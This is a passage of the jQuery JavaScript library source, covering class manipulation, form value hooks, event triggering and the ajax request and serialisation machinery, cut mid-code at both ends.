); // This expression is here for better compressibility (see addClass) cur = elem.nodeType === 1 && ( " " + curValue + " " ).replace( rclass, " " ); if ( cur ) { j = 0; while ( ( clazz = classes[ j++ ] ) ) { // Remove *all* instances while ( cur.indexOf( " " + clazz + " " ) > -1 ) { cur = cur.replace( " " + clazz + " ", " " ); } } // Only assign if different to avoid unneeded rendering. finalValue = jQuery.trim( cur ); if ( curValue !== finalValue ) { elem.setAttribute( "class", finalValue ); } } } } return this; }, toggleClass: function( value, stateVal ) { var type = typeof value; if ( typeof stateVal === "boolean" && type === "string" ) { return stateVal ? this.addClass( value ) : this.removeClass( value ); } if ( jQuery.isFunction( value ) ) { return this.each( function( i ) { jQuery( this ).toggleClass( value.call( this, i, getClass( this ), stateVal ), stateVal ); } ); } return this.each( function() { var className, i, self, classNames; if ( type === "string" ) { // Toggle individual class names i = 0; self = jQuery( this ); classNames = value.match( rnotwhite ) || []; while ( ( className = classNames[ i++ ] ) ) { // Check each className given, space separated list if ( self.hasClass( className ) ) { self.removeClass( className ); } else { self.addClass( className ); } } // Toggle whole class name } else if ( value === undefined || type === "boolean" ) { className = getClass( this ); if ( className ) { // Store className if set dataPriv.set( this, "__className__", className ); } // If the element has a class name or if we're passed `false`, // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. if ( this.setAttribute ) { this.setAttribute( "class", className || value === false ? "" : dataPriv.get( this, "__className__" ) || "" ); } } } ); }, hasClass: function( selector ) { var className, elem, i = 0; className = " " + selector + " "; while ( ( elem = this[ i++ ] ) ) { if ( elem.nodeType === 1 && ( " " + getClass( elem ) + " " ).replace( rclass, " " ) .indexOf( className ) > -1 ) { return true; } } return false; } } ); var rreturn = /\r/g, rspaces = /[\x20\t\r\n\f]+/g; jQuery.fn.extend( { val: function( value ) { var hooks, ret, isFunction, elem = this[ 0 ]; if ( !arguments.length ) { if ( elem ) { hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; if ( hooks && "get" in hooks && ( ret = hooks.get( elem, "value" ) ) !== undefined ) { return ret; } ret = elem.value; return typeof ret === "string" ? // Handle most common string cases ret.replace( rreturn, "" ) : // Handle cases where value is null/undef or number ret == null ? "" : ret; } return; } isFunction = jQuery.isFunction( value ); return this.each( function( i ) { var val; if ( this.nodeType !== 1 ) { return; } if ( isFunction ) { val = value.call( this, i, jQuery( this ).val() ); } else { val = value; } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( jQuery.isArray( val ) ) { val = jQuery.map( val, function( value ) { return value == null ? "" : value + ""; } ); } hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; // If set returns undefined, fall back to normal setting if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) { this.value = val; } } ); } } ); jQuery.extend( { valHooks: { option: { get: function( elem ) { var val = jQuery.find.attr( elem, "value" ); return val != null ? val : // Support: IE10-11+ // option.text throws exceptions (#14686, #14858) // Strip and collapse whitespace // https://html.spec.whatwg.org/#strip-and-collapse-whitespace jQuery.trim( jQuery.text( elem ) ).replace( rspaces, " " ); } }, select: { get: function( elem ) { var value, option, options = elem.options, index = elem.selectedIndex, one = elem.type === "select-one" || index < 0, values = one ? null : [], max = one ? index + 1 : options.length, i = index < 0 ? max : one ? index : 0; // Loop through all the selected options for ( ; i < max; i++ ) { option = options[ i ]; // IE8-9 doesn't update selected after form reset (#2551) if ( ( option.selected || i === index ) && // Don't return options that are disabled or in a disabled optgroup ( support.optDisabled ? !option.disabled : option.getAttribute( "disabled" ) === null ) && ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) { // Get the specific value for the option value = jQuery( option ).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } return values; }, set: function( elem, value ) { var optionSet, option, options = elem.options, values = jQuery.makeArray( value ), i = options.length; while ( i-- ) { option = options[ i ]; if ( option.selected = jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 ) { optionSet = true; } } // Force browsers to behave consistently when non-matching value is set if ( !optionSet ) { elem.selectedIndex = -1; } return values; } } } } ); // Radios and checkboxes getter/setter jQuery.each( [ "radio", "checkbox" ], function() { jQuery.valHooks[ this ] = { set: function( elem, value ) { if ( jQuery.isArray( value ) ) { return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 ); } } }; if ( !support.checkOn ) { jQuery.valHooks[ this ].get = function( elem ) { return elem.getAttribute( "value" ) === null ? "on" : elem.value; }; } } ); // Return jQuery for attributes-only inclusion var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/; jQuery.extend( jQuery.event, { trigger: function( event, data, elem, onlyHandlers ) { var i, cur, tmp, bubbleType, ontype, handle, special, eventPath = [ elem || document ], type = hasOwn.call( event, "type" ) ? event.type : event, namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : []; cur = tmp = elem = elem || document; // Don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // focus/blur morphs to focusin/out; ensure we're not firing them right now if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { return; } if ( type.indexOf( "." ) > -1 ) { // Namespaced trigger; create a regexp to match event type in handle() namespaces = type.split( "." ); type = namespaces.shift(); namespaces.sort(); } ontype = type.indexOf( ":" ) < 0 && "on" + type; // Caller can pass in a jQuery.Event object, Object, or just an event type string event = event[ jQuery.expando ] ? event : new jQuery.Event( type, typeof event === "object" && event ); // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) event.isTrigger = onlyHandlers ? 2 : 3; event.namespace = namespaces.join( "." ); event.rnamespace = event.namespace ? new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) : null; // Clean up the event in case it is being reused event.result = undefined; if ( !event.target ) { event.target = elem; } // Clone any incoming data and prepend the event, creating the handler arg list data = data == null ? [ event ] : jQuery.makeArray( data, [ event ] ); // Allow special events to draw outside the lines special = jQuery.event.special[ type ] || {}; if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { return; } // Determine event propagation path in advance, per W3C events spec (#9951) // Bubble up to document, then to window; watch for a globals ownerDocument var (#9724) if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { bubbleType = special.delegateType || type; if ( !rfocusMorph.test( bubbleType + type ) ) { cur = cur.parentNode; } for ( ; cur; cur = cur.parentNode ) { eventPath.push( cur ); tmp = cur; } // Only add window if we got to document (e.g., not plain obj or detached DOM) if ( tmp === ( elem.ownerDocument || document ) ) { eventPath.push( tmp.defaultView || tmp.parentWindow || window ); } } // Fire handlers on the event path i = 0; while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) { event.type = i > 1 ? bubbleType : special.bindType || type; // jQuery handler handle = ( dataPriv.get( cur, "events" ) || {} )[ event.type ] && dataPriv.get( cur, "handle" ); if ( handle ) { handle.apply( cur, data ); } // Native handler handle = ontype && cur[ ontype ]; if ( handle && handle.apply && acceptData( cur ) ) { event.result = handle.apply( cur, data ); if ( event.result === false ) { event.preventDefault(); } } } event.type = type; // If nobody prevented the default action, do it now if ( !onlyHandlers && !event.isDefaultPrevented() ) { if ( ( !special._default || special._default.apply( eventPath.pop(), data ) === false ) && acceptData( elem ) ) { // Call a native DOM method on the target with the same name name as the event. // Don't do default actions on window, that's where globals variables be (#6170) if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) { // Don't re-trigger an onFOO event when we call its FOO() method tmp = elem[ ontype ]; if ( tmp ) { elem[ ontype ] = null; } // Prevent re-triggering of the same event, since we already bubbled it above jQuery.event.triggered = type; elem[ type ](); jQuery.event.triggered = undefined; if ( tmp ) { elem[ ontype ] = tmp; } } } } return event.result; }, // Piggyback on a donor event to simulate a different one // Used only for `focus(in | out)` events simulate: function( type, elem, event ) { var e = jQuery.extend( new jQuery.Event(), event, { type: type, isSimulated: true } ); jQuery.event.trigger( e, null, elem ); } } ); jQuery.fn.extend( { trigger: function( type, data ) { return this.each( function() { jQuery.event.trigger( type, data, this ); } ); }, triggerHandler: function( type, data ) { var elem = this[ 0 ]; if ( elem ) { return jQuery.event.trigger( type, data, elem, true ); } } } ); jQuery.each( ( "blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu" ).split( " " ), function( i, name ) { // Handle event binding jQuery.fn[ name ] = function( data, fn ) { return arguments.length > 0 ? this.on( name, null, data, fn ) : this.trigger( name ); }; } ); jQuery.fn.extend( { hover: function( fnOver, fnOut ) { return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); } } ); support.focusin = "onfocusin" in window; // Support: Firefox // Firefox doesn't have focus(in | out) events // Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787 // // Support: Chrome, Safari // focus(in | out) events fire after focus & blur events, // which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order // Related ticket - https://code.google.com/p/chromium/issues/detail?id=449857 if ( !support.focusin ) { jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) { // Attach a single capturing handler on the document while someone wants focusin/focusout var handler = function( event ) { jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) ); }; jQuery.event.special[ fix ] = { setup: function() { var doc = this.ownerDocument || this, attaches = dataPriv.access( doc, fix ); if ( !attaches ) { doc.addEventListener( orig, handler, true ); } dataPriv.access( doc, fix, ( attaches || 0 ) + 1 ); }, teardown: function() { var doc = this.ownerDocument || this, attaches = dataPriv.access( doc, fix ) - 1; if ( !attaches ) { doc.removeEventListener( orig, handler, true ); dataPriv.remove( doc, fix ); } else { dataPriv.access( doc, fix, attaches ); } } }; } ); } var location = window.location; var nonce = jQuery.now(); var rquery = ( /\?/ ); // Support: Android 2.3 // Workaround failure to string-cast null input jQuery.parseJSON = function( data ) { return JSON.parse( data + "" ); }; // Cross-browser xml parsing jQuery.parseXML = function( data ) { var xml; if ( !data || typeof data !== "string" ) { return null; } // Support: IE9 try { xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" ); } catch ( e ) { xml = undefined; } if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) { jQuery.error( "Invalid XML: " + data ); } return xml; }; var rhash = /#.*$/, rts = /([?&])_=[^&]*/, rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, // #7653, #8125, #8152: local protocol detection rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, rnoContent = /^(?:GET|HEAD)$/, rprotocol = /^\/\//, /* Prefilters * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) * 2) These are called: * - BEFORE asking for a transport * - AFTER param serialization (s.data is a string if s.processData is true) * 3) key is the dataType * 4) the catchall symbol "*" can be used * 5) execution will start with transport dataType and THEN continue down to "*" if needed */ prefilters = {}, /* Transports bindings * 1) key is the dataType * 2) the catchall symbol "*" can be used * 3) selection will start with transport dataType and THEN go to "*" if needed */ transports = {}, // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression allTypes = "*/".concat( "*" ), // Anchor tag for parsing the document origin originAnchor = document.createElement( "a" ); originAnchor.href = location.href; // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport function addToPrefiltersOrTransports( structure ) { // dataTypeExpression is optional and defaults to "*" return function( dataTypeExpression, func ) { if ( typeof dataTypeExpression !== "string" ) { func = dataTypeExpression; dataTypeExpression = "*"; } var dataType, i = 0, dataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || []; if ( jQuery.isFunction( func ) ) { // For each dataType in the dataTypeExpression while ( ( dataType = dataTypes[ i++ ] ) ) { // Prepend if requested if ( dataType[ 0 ] === "+" ) { dataType = dataType.slice( 1 ) || "*"; ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func ); // Otherwise append } else { ( structure[ dataType ] = structure[ dataType ] || [] ).push( func ); } } } }; } // Base inspection function for prefilters and transports function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { var inspected = {}, seekingTransport = ( structure === transports ); function inspect( dataType ) { var selected; inspected[ dataType ] = true; jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) { options.dataTypes.unshift( dataTypeOrTransport ); inspect( dataTypeOrTransport ); return false; } else if ( seekingTransport ) { return !( selected = dataTypeOrTransport ); } } ); return selected; } return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); } // A special extend for ajax options // that takes "flat" options (not to be deep extended) // Fixes #9887 function ajaxExtend( target, src ) { var key, deep, flatOptions = jQuery.ajaxSettings.flatOptions || {}; for ( key in src ) { if ( src[ key ] !== undefined ) { ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ]; } } if ( deep ) { jQuery.extend( true, target, deep ); } return target; } /* Handles responses to an ajax request: * - finds the right dataType (mediates between content-type and expected dataType) * - returns the corresponding response */ function ajaxHandleResponses( s, jqXHR, responses ) { var ct, type, finalDataType, firstDataType, contents = s.contents, dataTypes = s.dataTypes; // Remove auto dataType and get content-type in the process while ( dataTypes[ 0 ] === "*" ) { dataTypes.shift(); if ( ct === undefined ) { ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" ); } } // Check if we're dealing with a known content-type if ( ct ) { for ( type in contents ) { if ( contents[ type ] && contents[ type ].test( ct ) ) { dataTypes.unshift( type ); break; } } } // Check to see if we have a response for the expected dataType if ( dataTypes[ 0 ] in responses ) { finalDataType = dataTypes[ 0 ]; } else { // Try convertible dataTypes for ( type in responses ) { if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) { finalDataType = type; break; } if ( !firstDataType ) { firstDataType = type; } } // Or just use first one finalDataType = finalDataType || firstDataType; } // If we found a dataType // We add the dataType to the list if needed // and return the corresponding response if ( finalDataType ) { if ( finalDataType !== dataTypes[ 0 ] ) { dataTypes.unshift( finalDataType ); } return responses[ finalDataType ]; } } /* Chain conversions given the request and the original response * Also sets the responseXXX fields on the jqXHR instance */ function ajaxConvert( s, response, jqXHR, isSuccess ) { var conv2, current, conv, tmp, prev, converters = {}, // Work with a copy of dataTypes in case we need to modify it for conversion dataTypes = s.dataTypes.slice(); // Create converters map with lowercased keys if ( dataTypes[ 1 ] ) { for ( conv in s.converters ) { converters[ conv.toLowerCase() ] = s.converters[ conv ]; } } current = dataTypes.shift(); // Convert to each sequential dataType while ( current ) { if ( s.responseFields[ current ] ) { jqXHR[ s.responseFields[ current ] ] = response; } // Apply the dataFilter if provided if ( !prev && isSuccess && s.dataFilter ) { response = s.dataFilter( response, s.dataType ); } prev = current; current = dataTypes.shift(); if ( current ) { // There's only work to do if current dataType is non-auto if ( current === "*" ) { current = prev; // Convert response if prev dataType is non-auto and differs from current } else if ( prev !== "*" && prev !== current ) { // Seek a direct converter conv = converters[ prev + " " + current ] || converters[ "* " + current ]; // If none found, seek a pair if ( !conv ) { for ( conv2 in converters ) { // If conv2 outputs current tmp = conv2.split( " " ); if ( tmp[ 1 ] === current ) { // If prev can be converted to accepted input conv = converters[ prev + " " + tmp[ 0 ] ] || converters[ "* " + tmp[ 0 ] ]; if ( conv ) { // Condense equivalence converters if ( conv === true ) { conv = converters[ conv2 ]; // Otherwise, insert the intermediate dataType } else if ( converters[ conv2 ] !== true ) { current = tmp[ 0 ]; dataTypes.unshift( tmp[ 1 ] ); } break; } } } } // Apply converter (if not an equivalence) if ( conv !== true ) { // Unless errors are allowed to bubble, catch and return them if ( conv && s.throws ) { response = conv( response ); } else { try { response = conv( response ); } catch ( e ) { return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current }; } } } } } } return { state: "success", data: response }; } jQuery.extend( { // Counter for holding the number of active queries active: 0, // Last-Modified header cache for next request lastModified: {}, etag: {}, ajaxSettings: { url: location.href, type: "GET", isLocal: rlocalProtocol.test( location.protocol ), global: true, processData: true, async: true, contentType: "application/x-www-form-urlencoded; charset=UTF-8", /* timeout: 0, data: null, dataType: null, username: null, password: null, cache: null, throws: false, traditional: false, headers: {}, */ accepts: { "*": allTypes, text: "text/plain", html: "text/html", xml: "application/xml, text/xml", json: "application/json, text/javascript" }, contents: { xml: /\bxml\b/, html: /\bhtml/, json: /\bjson\b/ }, responseFields: { xml: "responseXML", text: "responseText", json: "responseJSON" }, // Data converters // Keys separate source (or catchall "*") and destination types with a single space converters: { // Convert anything to text "* text": String, // Text to html (true = no transformation) "text html": true, // Evaluate text as a json expression "text json": jQuery.parseJSON, // Parse text as xml "text xml": jQuery.parseXML }, // For options that shouldn't be deep extended: // you can add your own custom options here if // and when you create one that shouldn't be // deep extended (see ajaxExtend) flatOptions: { url: true, context: true } }, // Creates a full fledged settings object into target // with both ajaxSettings and settings fields. // If target is omitted, writes into ajaxSettings. ajaxSetup: function( target, settings ) { return settings ? // Building a settings object ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : // Extending ajaxSettings ajaxExtend( jQuery.ajaxSettings, target ); }, ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), ajaxTransport: addToPrefiltersOrTransports( transports ), // Main method ajax: function( url, options ) { // If url is an object, simulate pre-1.5 signature if ( typeof url === "object" ) { options = url; url = undefined; } // Force options to be an object options = options || {}; var transport, // URL without anti-cache param cacheURL, // Response headers responseHeadersString, responseHeaders, // timeout handle timeoutTimer, // Url cleanup var urlAnchor, // To know if globals events are to be dispatched fireGlobals, // Loop variable i, // Create the final options object s = jQuery.ajaxSetup( {}, options ), // Callbacks context callbackContext = s.context || s, // Context for globals events is callbackContext if it is a DOM node or jQuery collection globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ? jQuery( callbackContext ) : jQuery.event, // Deferreds deferred = jQuery.Deferred(), completeDeferred = jQuery.Callbacks( "once memory" ), // Status-dependent callbacks statusCode = s.statusCode || {}, // Headers (they are sent all at once) requestHeaders = {}, requestHeadersNames = {}, // The jqXHR state state = 0, // Default abort message strAbort = "canceled", // Fake xhr jqXHR = { readyState: 0, // Builds headers hashtable if needed getResponseHeader: function( key ) { var match; if ( state === 2 ) { if ( !responseHeaders ) { responseHeaders = {}; while ( ( match = rheaders.exec( responseHeadersString ) ) ) { responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ]; } } match = responseHeaders[ key.toLowerCase() ]; } return match == null ? null : match; }, // Raw string getAllResponseHeaders: function() { return state === 2 ? responseHeadersString : null; }, // Caches the header setRequestHeader: function( name, value ) { var lname = name.toLowerCase(); if ( !state ) { name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name; requestHeaders[ name ] = value; } return this; }, // Overrides response content-type header overrideMimeType: function( type ) { if ( !state ) { s.mimeType = type; } return this; }, // Status-dependent callbacks statusCode: function( map ) { var code; if ( map ) { if ( state < 2 ) { for ( code in map ) { // Lazy-add the new callback in a way that preserves old ones statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; } } else { // Execute the appropriate callbacks jqXHR.always( map[ jqXHR.status ] ); } } return this; }, // Cancel the request abort: function( statusText ) { var finalText = statusText || strAbort; if ( transport ) { transport.abort( finalText ); } done( 0, finalText ); return this; } }; // Attach deferreds deferred.promise( jqXHR ).complete = completeDeferred.add; jqXHR.success = jqXHR.done; jqXHR.error = jqXHR.fail; // Remove hash character (#7531: and string promotion) // Add protocol if not provided (prefilters might expect it) // Handle falsy url in the settings object (#10093: consistency with old signature) // We also use the url parameter if available s.url = ( ( url || s.url || location.href ) + "" ).replace( rhash, "" ) .replace( rprotocol, location.protocol + "//" ); // Alias method option to type as per ticket #12004 s.type = options.method || options.type || s.method || s.type; // Extract dataTypes list s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( rnotwhite ) || [ "" ]; // A cross-domain request is in order when the origin doesn't match the current origin. if ( s.crossDomain == null ) { urlAnchor = document.createElement( "a" ); // Support: IE8-11+ // IE throws exception if url is malformed, e.g. http://example.com:80x/ try { urlAnchor.href = s.url; // Support: IE8-11+ // Anchor's host property isn't correctly set when s.url is relative urlAnchor.href = urlAnchor.href; s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !== urlAnchor.protocol + "//" + urlAnchor.host; } catch ( e ) { // If there is an error parsing the URL, assume it is crossDomain, // it can be rejected by the transport if it is invalid s.crossDomain = true; } } // Convert data if not already a string if ( s.data && s.processData && typeof s.data !== "string" ) { s.data = jQuery.param( s.data, s.traditional ); } // Apply prefilters inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); // If request was aborted inside a prefilter, stop there if ( state === 2 ) { return jqXHR; } // We can fire globals events as of now if asked to // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118) fireGlobals = jQuery.event && s.global; // Watch for a new set of requests if ( fireGlobals && jQuery.active++ === 0 ) { jQuery.event.trigger( "ajaxStart" ); } // Uppercase the type s.type = s.type.toUpperCase(); // Determine if request has content s.hasContent = !rnoContent.test( s.type ); // Save the URL in case we're toying with the If-Modified-Since // and/or If-None-Match header later on cacheURL = s.url; // More options handling for requests with no content if ( !s.hasContent ) { // If data is available, append data to url if ( s.data ) { cacheURL = ( s.url += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data ); // #9682: remove data so that it's not used in an eventual retry delete s.data; } // Add anti-cache in url if needed if ( s.cache === false ) { s.url = rts.test( cacheURL ) ? // If there is already a '_' parameter, set its value cacheURL.replace( rts, "$1_=" + nonce++ ) : // Otherwise add one to the end cacheURL + ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + nonce++; } } // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { if ( jQuery.lastModified[ cacheURL ] ) { jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); } if ( jQuery.etag[ cacheURL ] ) { jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); } } // Set the correct header, if data is being sent if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { jqXHR.setRequestHeader( "Content-Type", s.contentType ); } // Set the Accepts header for the server, depending on the dataType jqXHR.setRequestHeader( "Accept", s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ? s.accepts[ s.dataTypes[ 0 ] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : s.accepts[ "*" ] ); // Check for headers option for ( i in s.headers ) { jqXHR.setRequestHeader( i, s.headers[ i ] ); } // Allow custom headers/mimetypes and early abort if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) { // Abort if not done already and return return jqXHR.abort(); } // Aborting is no longer a cancellation strAbort = "abort"; // Install callbacks on deferreds for ( i in { success: 1, error: 1, complete: 1 } ) { jqXHR[ i ]( s[ i ] ); } // Get transport transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); // If no transport, we auto-abort if ( !transport ) { done( -1, "No Transport" ); } else { jqXHR.readyState = 1; // Send globals event if ( fireGlobals ) { globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); } // If request was aborted inside ajaxSend, stop there if ( state === 2 ) { return jqXHR; } // Timeout if ( s.async && s.timeout > 0 ) { timeoutTimer = window.setTimeout( function() { jqXHR.abort( "timeout" ); }, s.timeout ); } try { state = 1; transport.send( requestHeaders, done ); } catch ( e ) { // Propagate exception as error if not done if ( state < 2 ) { done( -1, e ); // Simply rethrow otherwise } else { throw e; } } } // Callback for when everything is done function done( status, nativeStatusText, responses, headers ) { var isSuccess, success, error, response, modified, statusText = nativeStatusText; // Called once if ( state === 2 ) { return; } // State is "done" now state = 2; // Clear timeout if it exists if ( timeoutTimer ) { window.clearTimeout( timeoutTimer ); } // Dereference transport for early garbage collection // (no matter how long the jqXHR object will be used) transport = undefined; // Cache response headers responseHeadersString = headers || ""; // Set readyState jqXHR.readyState = status > 0 ? 4 : 0; // Determine if successful isSuccess = status >= 200 && status < 300 || status === 304; // Get response data if ( responses ) { response = ajaxHandleResponses( s, jqXHR, responses ); } // Convert no matter what (that way responseXXX fields are always set) response = ajaxConvert( s, response, jqXHR, isSuccess ); // If successful, handle type chaining if ( isSuccess ) { // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { modified = jqXHR.getResponseHeader( "Last-Modified" ); if ( modified ) { jQuery.lastModified[ cacheURL ] = modified; } modified = jqXHR.getResponseHeader( "etag" ); if ( modified ) { jQuery.etag[ cacheURL ] = modified; } } // if no content if ( status === 204 || s.type === "HEAD" ) { statusText = "nocontent"; // if not modified } else if ( status === 304 ) { statusText = "notmodified"; // If we have data, let's convert it } else { statusText = response.state; success = response.data; error = response.error; isSuccess = !error; } } else { // Extract error from statusText and normalize for non-aborts error = statusText; if ( status || !statusText ) { statusText = "error"; if ( status < 0 ) { status = 0; } } } // Set data for the fake xhr object jqXHR.status = status; jqXHR.statusText = ( nativeStatusText || statusText ) + ""; // Success/Error if ( isSuccess ) { deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); } else { deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); } // Status-dependent callbacks jqXHR.statusCode( statusCode ); statusCode = undefined; if ( fireGlobals ) { globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", [ jqXHR, s, isSuccess ? success : error ] ); } // Complete completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); if ( fireGlobals ) { globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); // Handle the globals AJAX counter if ( !( --jQuery.active ) ) { jQuery.event.trigger( "ajaxStop" ); } } } return jqXHR; }, getJSON: function( url, data, callback ) { return jQuery.get( url, data, callback, "json" ); }, getScript: function( url, callback ) { return jQuery.get( url, undefined, callback, "script" ); } } ); jQuery.each( [ "get", "post" ], function( i, method ) { jQuery[ method ] = function( url, data, callback, type ) { // Shift arguments if data argument was omitted if ( jQuery.isFunction( data ) ) { type = type || callback; callback = data; data = undefined; } // The url can be an options object (which then must have .url) return jQuery.ajax( jQuery.extend( { url: url, type: method, dataType: type, data: data, success: callback }, jQuery.isPlainObject( url ) && url ) ); }; } ); jQuery._evalUrl = function( url ) { return jQuery.ajax( { url: url, // Make this explicit, since user can override this through ajaxSetup (#11264) type: "GET", dataType: "script", async: false, global: false, "throws": true } ); }; jQuery.fn.extend( { wrapAll: function( html ) { var wrap; if ( jQuery.isFunction( html ) ) { return this.each( function( i ) { jQuery( this ).wrapAll( html.call( this, i ) ); } ); } if ( this[ 0 ] ) { // The elements to wrap the target around wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); if ( this[ 0 ].parentNode ) { wrap.insertBefore( this[ 0 ] ); } wrap.map( function() { var elem = this; while ( elem.firstElementChild ) { elem = elem.firstElementChild; } return elem; } ).append( this ); } return this; }, wrapInner: function( html ) { if ( jQuery.isFunction( html ) ) { return this.each( function( i ) { jQuery( this ).wrapInner( html.call( this, i ) ); } ); } return this.each( function() { var self = jQuery( this ), contents = self.contents(); if ( contents.length ) { contents.wrapAll( html ); } else { self.append( html ); } } ); }, wrap: function( html ) { var isFunction = jQuery.isFunction( html ); return this.each( function( i ) { jQuery( this ).wrapAll( isFunction ? html.call( this, i ) : html ); } ); }, unwrap: function() { return this.parent().each( function() { if ( !jQuery.nodeName( this, "body" ) ) { jQuery( this ).replaceWith( this.childNodes ); } } ).end(); } } ); jQuery.expr.filters.hidden = function( elem ) { return !jQuery.expr.filters.visible( elem ); }; jQuery.expr.filters.visible = function( elem ) { // Support: Opera <= 12.12 // Opera reports offsetWidths and offsetHeights less than zero on some elements // Use OR instead of AND as the element is not visible if either is true // See tickets #10406 and #13132 return elem.offsetWidth > 0 || elem.offsetHeight > 0 || elem.getClientRects().length > 0; }; var r20 = /%20/g, rbracket = /\[\]$/, rCRLF = /\r?\n/g, rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, rsubmittable = /^(?:input|select|textarea|keygen)/i; function buildParams( prefix, obj, traditional, add ) { var name; if ( jQuery.isArray( obj ) ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // Item is non-scalar (array or object), encode its numeric index. buildParams( prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]", v, traditional, add ); } } ); } else if ( !traditional && jQuery.type( obj ) === "object" ) { // Serialize object item. for ( name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } else { // Serialize scalar item. add( prefix, obj ); } } // Serialize an array of form elements or a set of // key/values into a query string jQuery.param = function( a, traditional ) { var prefix, s = [], add = function( key, value ) { // If value is a function, invoke it and return its value value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value ); s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value ); }; // Set traditional to true for jQuery <= 1.3.2 behavior. if ( traditional === undefined ) { traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional; } // If an array was passed in, assume that it is an array of form elements. if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); } ); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ).replace( r20, "+" ); }; jQuery.fn.extend( 